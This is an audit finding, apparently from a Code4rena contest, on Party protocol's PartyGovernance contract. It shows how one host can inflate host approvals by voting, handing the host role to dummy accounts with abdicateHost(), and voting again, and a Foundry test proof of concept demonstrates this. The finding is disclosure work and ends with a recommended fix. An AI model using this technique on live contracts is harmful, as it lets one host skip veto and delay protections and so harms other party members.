# A single host can approve a proposal for all other hosts in the Party

## Summary

A single host can approve a proposal by transferring the host role to dummy accounts and voting again to increment the number of approvals.

## Impact

When a proposal is created in a Party, the number of active hosts is snapshotted in the proposal state values (`numHosts`). This structure also contains a counter with the number of hosts that have accepted the proposal (`numHostsAccepted`).

https://github.com/code-423n4/2023-10-party/blob/0ce3819de173f7688c9c834ce2cc758dd03c9bd2/contracts/party/PartyGovernance.sol#L553-L573

```solidity
553:     function propose(
554:         Proposal memory proposal,
555:         uint256 latestSnapIndex
556:     ) external returns (uint256 proposalId) {
557:         _assertActiveMember();
558:         proposalId = ++lastProposalId;
559:         // Store the time the proposal was created and the proposal hash.
560:         (
561:             _proposalStateByProposalId[proposalId].values,
562:             _proposalStateByProposalId[proposalId].hash
563:         ) = (
564:             ProposalStateValues({
565:                 proposedTime: uint40(block.timestamp),
566:                 passedTime: 0,
567:                 executedTime: 0,
568:                 completedTime: 0,
569:                 votes: 0,
570:                 totalVotingPower: _getSharedProposalStorage().governanceValues.totalVotingPower,
571:                 numHosts: numHosts,
572:                 numHostsAccepted: 0
573:             }),
```

Each time a host votes for a proposal using `accept()`, this counter is incremented to reflect the state in the proposal values:

https://github.com/code-423n4/2023-10-party/blob/0ce3819de173f7688c9c834ce2cc758dd03c9bd2/contracts/party/PartyGovernance.sol#L636-L638

```solidity
636:         if (isHost[msg.sender]) {
637:             ++values.numHostsAccepted;
638:         }
```

The implementation simply checks if the caller account is a current host. A malicious host can transfer the _host_ feature into another account of his own using `abdicateHost()` and vote again for the proposal, effectively incrementing this counter again.

Any host can repeat this process to account for all the votes of the other hosts. Doing so will enable the `PROPOSAL_FLAG_HOSTS_ACCEPT` flag in the proposal, and transition the proposal status into the `Ready` state, skipping the execution delay and the veto period, and making it ready to be executed.

## Proof of Concept

In the following test, a Party is created with 3 different host accounts. After simulating a passing proposal, the `host1` account votes 3 times by transferring the host role to other dummy accounts using `abdicateHost()`, making the proposal to be in a `Ready` state.

Note: the snippet shows only the relevant code for the test. Full test file can be found [here](https://gist.github.com/romeroadrian/8a9b8300a136cd3aed4478b374eee9db).

```solidity
function test_Party_SingleHostApprovesProposal() public {
    // The party has 3 different hosts
    address host1 = makeAddr("host1");
    address host2 = makeAddr("host2");
    address host3 = makeAddr("host3");

    address[] memory hosts = new address[](3);
    hosts[0] = host1;
    hosts[1] = host2;
    hosts[2] = host3;

    IERC721[] memory preciousTokens;
    uint256[] memory preciousTokenIds;

    address[] memory authorities = new address[](1);
    authorities[0] = address(partyAdmin);

    ProposalStorage.ProposalEngineOpts memory proposalEngineOpts;

    Party party = partyFactory.createParty(
        partyImpl,
        authorities,
        Party.PartyOptions({
            governance: PartyGovernance.GovernanceOpts({
                hosts: hosts,
                voteDuration: 99,
                executionDelay: 300,
                passThresholdBps: 5100,
                totalVotingPower: 100,
                feeRecipient: payable(0),
                feeBps: 0
            }),
            proposalEngine: proposalEngineOpts,
            name: "Dope party",
            symbol: "DOPE",
            customizationPresetId: 0
        }),
        preciousTokens,
        preciousTokenIds,
        0
    );

    // Give some voting power to jhon to make proposal and have it passed
    partyAdmin.mintGovNft(party, address(john), 51, address(john));

    skip(1);

    john.makeProposal(
        party,
        PartyGovernance.Proposal({
            maxExecutableTime: uint40(type(uint40).max),
            cancelDelay: uint40(1 days),
            proposalData: abi.encode(0)
        }),
        0
    );
    uint256 proposalId = 1;

    // Host1 will accept the proposal, and transfer it to the next dummy host...
    vm.startPrank(host1);

    // host votes for proposal
    party.accept(proposalId, 0);

    // host creates dummy accounts
    address hostDummy1 = makeAddr("hostDummy1");
    address hostDummy2 = makeAddr("hostDummy2");

    // host transfers to first dummy account
    party.abdicateHost(hostDummy1);

    vm.stopPrank();

    // Host1 accepts with first dummy and transfer it to the next dummy host...
    vm.startPrank(hostDummy1);

    // host votes again for proposal
    party.accept(proposalId, 0);

    // host transfers to second dummy account
    party.abdicateHost(hostDummy2);

    vm.stopPrank();

    // Host1 votes again for proposal
    vm.prank(hostDummy2);
    party.accept(proposalId, 0);

    // Proposal is ready
    (PartyGovernance.ProposalStatus status,) = party.getProposalStateInfo(proposalId);
    assertTrue(status == PartyGovernance.ProposalStatus.Ready);
}
```

## Recommendation

Similar to voting power, the implementation of PartyGovernance should snapshot the current hosts at the time the proposal is created, or track when a host abdicates and transfers the role to another account. This would allow to check who had a host role at the moment the proposal was created, and avoid duplicate host votes.
